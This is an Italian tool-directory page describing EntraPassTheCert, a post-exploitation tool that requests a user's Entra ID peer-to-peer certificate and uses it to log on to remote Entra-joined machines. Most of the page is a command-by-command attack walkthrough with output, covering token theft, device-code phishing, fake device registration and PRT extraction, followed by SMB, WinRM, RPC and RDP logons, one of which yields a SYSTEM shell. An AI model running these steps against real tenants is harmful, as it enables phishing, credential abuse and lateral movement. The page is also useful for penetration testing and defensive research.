Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
EntraPassTheCert — strumento per richiedere il certificato P2P di Entra ID e autenticarsi con esso su dispositivi Entra remoti aggiunti | Kitploit
Strumenti/GitHubGitHub/temp43487580/entrapassthecert
Movimento LateralePost-ExploitPenetration TestingSicurezza CloudGestione Identità e Accessi (IAM)AutenticazioneRed Teaming
GitHubtemp43487580/entrapassthecert

EntraPassTheCert

strumento per richiedere il certificato P2P di Entra ID e autenticarsi con esso su dispositivi Entra remoti aggiunti

Vedi Repository
1351681 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

EntraPassTheCert

EntraPassTheCert è uno strumento di post-exploitation che consente agli attaccanti di richiedere il certificato P2P dell'utente di Entra ID e autenticarsi con esso su una macchina remota aggiunta a Entra.

root@kitploit:~
$ python3 entraptc.py -h

usage: entraptc.py [-h] [--debug] {request_p2pcert,smb,rdp,winrm,rpc} ...

post-exploitation tool for requesting p2p cert and authenticate with it

positional arguments:
  {request_p2pcert,smb,rdp,winrm,rpc}
                        Available commands
    request_p2pcert     request P2P cert with PRT and SessionKey
    smb                 SMB to Entra joinned machine with P2P cert
    rdp                 RDP to Entra joinned machine with P2P cert
    winrm               WinRM to Entra joinned machine with P2P cert
    rpc                 RPC to Entra joinned machine with P2P cert

options:
  -h, --help            show this help message and exit
  --debug               debug option

Il codice è basato su questi grandi strumenti esistenti.

  • impacket
  • ROADTools
  • AADInternals
  • pywinrm
  • aardwolf

Questo strumento è stato presentato al Troopers 2025:

Saltare tra i dispositivi: espandere il movimento laterale tramite l'attacco Pass-the-Certificate

Utilizzo

Richiedere il certificato P2P

Per prima cosa, ottieni i token Microsoft Entra richiesti utilizzando le credenziali di qualsiasi account che disponga di accesso amministratore locale al dispositivo di destinazione.

root@kitploit:~
$ roadtx gettokens -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e -u globaladmin@***.onmicrosoft.com -p $PASSWORD
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
Tokens were written to .roadtools_auth

Se non hai le credenziali, puoi anche eseguire un phishing tramite device-code per ottenere i token.

root@kitploit:~
$ roadtx gettokens --device-code -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code HGCUCJ6CS to authenticate.
Tokens were written to .roadtools_auth

Successivamente, registra un dispositivo fittizio su Entra ID.

root@kitploit:~
$ roadtx device -a join -n fake_device
Saving private key to fake_device.key
Registering device
Device ID: 0d9d2d66-7343-4bf2-a3dd-377c9e1e6244
Saved device certificate to fake_device.pem

Quindi, utilizzando il dispositivo registrato, richiedi PRT e chiave di sessione.

root@kitploit:~
$ REFRESHTOKEN=(`cat .roadtools_auth | jq -r .refreshToken`) 

$ roadtx prt -c fake_device.pem -k fake_device.key -r $REFRESHTOKEN
Obtained PRT: 1.AT0A7mRQZ....
Obtained session key: fabd04bf017c526fd...
Saved PRT to roadtx.prt

Una volta ricevuti PRT e chiave di sessione, puoi richiedere il certificato P2P dell'utente.

root@kitploit:~
$ PRT=(`cat roadtx.prt | jq -r .refresh_token`)

$ SESSIONKEY=(`cat roadtx.prt | jq -r .session_key`)

$ python3 entraptc.py request_p2pcert --prt $PRT --sessionkey $SESSIONKEY
[*] requesting P2P cert...
[+] successfully acquired P2P cert!
[*] here is your p2p cert pfx : p2pcert.pfx (pw: password)

Passare il certificato P2P

Puoi autenticarti su una macchina aggiunta a Entra utilizzando il certificato P2P come segue.

  • SMB
root@kitploit:~
$ python3 entraptc.py smb --target 192.168.153.133 --pfx p2pcert.pfx      
[*] connecting to 192.168.153.133 via SMB...
[+] sucessfully logged-on to the system!
Type help for list of commands
# shares
ADMIN$
C$
IPC$
# use C$
# ls
drw-rw-rw-          0  Fri May 30 15:52:50 2025 $Recycle.Bin
drw-rw-rw-          0  Sat Apr 19 01:54:46 2025 Documents and Settings
-rw-rw-rw-      12288  Sun Jun 15 10:45:59 2025 DumpStack.log.tmp
drw-rw-rw-          0  Fri May 30 09:06:09 2025 inetpub
-rw-rw-rw-  738197504  Sun Jun 15 10:45:58 2025 pagefile.sys
drw-rw-rw-          0  Sat Apr 19 02:49:28 2025 PerfLogs
drw-rw-rw-          0  Tue Jun 10 14:58:44 2025 Program Files
drw-rw-rw-          0  Tue May 27 15:59:56 2025 Program Files (x86)
drw-rw-rw-          0  Tue Jun 10 14:54:46 2025 ProgramData
drw-rw-rw-          0  Sat Apr 19 01:53:41 2025 Recovery
-rw-rw-rw-   16777216  Sun Jun 15 10:45:59 2025 swapfile.sys
drw-rw-rw-          0  Fri May 30 09:39:44 2025 System Volume Information
drw-rw-rw-          0  Fri May 30 15:52:23 2025 Users
drw-rw-rw-          0  Wed Jun 11 09:30:27 2025 Windows
  • WinRM
root@kitploit:~
$ python3 entraptc.py winrm --target 192.168.153.133 --pfx p2pcert.pfx
[*] connecting to 192.168.153.133 via WinRM...
[+] sucessfully logged-on to the system!

C:\Users\admin> whoami
azuread\admin
  • RPC
root@kitploit:~
$ python3 entraptc.py rpc --target 192.168.153.133 --pfx p2pcert.pfx                                                                   

[*] connecting to 192.168.153.133 via RPC...
[+] sucessfully logged-on to the system!

C:\Windows\System32>whoami
nt authority\system
  • RDP
    • Devi specificare le credenziali dell'account
root@kitploit:~
$ python3 entraptc.py rdp --username globaladmin@***.onmicrosoft.com --password $PASSWORD --target 192.168.153.133 --pfx p2pcert.pfx

Note

  • La macchina di destinazione deve essere una macchina aggiunta a Entra, non una macchina aggiunta a Entra ibrida o registrata in Entra
  • Testata su macchine Windows 11/10 ma non su Windows server

Disclaimer

Questo progetto è fornito solo a scopo educativo e di ricerca.
È pensato per aiutare professionisti della sicurezza, ricercatori e studenti a comprendere potenziali vettori di attacco e a migliorare le misure difensive.

Riferimento

https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597

Scarica lo strumento